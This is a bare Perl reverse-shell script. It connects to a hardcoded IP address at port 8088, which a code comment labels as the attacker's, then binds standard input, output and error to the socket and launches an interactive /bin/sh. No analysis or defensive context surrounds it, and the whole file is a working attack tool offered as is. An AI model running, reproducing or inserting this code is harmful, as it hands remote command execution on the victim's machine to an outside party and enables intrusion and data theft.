#!/usr/bin/perl

use Socket;

#attackers ip to connect back to
$i="176.100.246.254";

$p=8088;

socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));

if(connect(S,sockaddr_in($p,inet_aton($i))))

{
    open(STDIN,">&S");
    open(STDOUT,">&S");
    open(STDERR,">&S");
    exec("/bin/sh -i");
}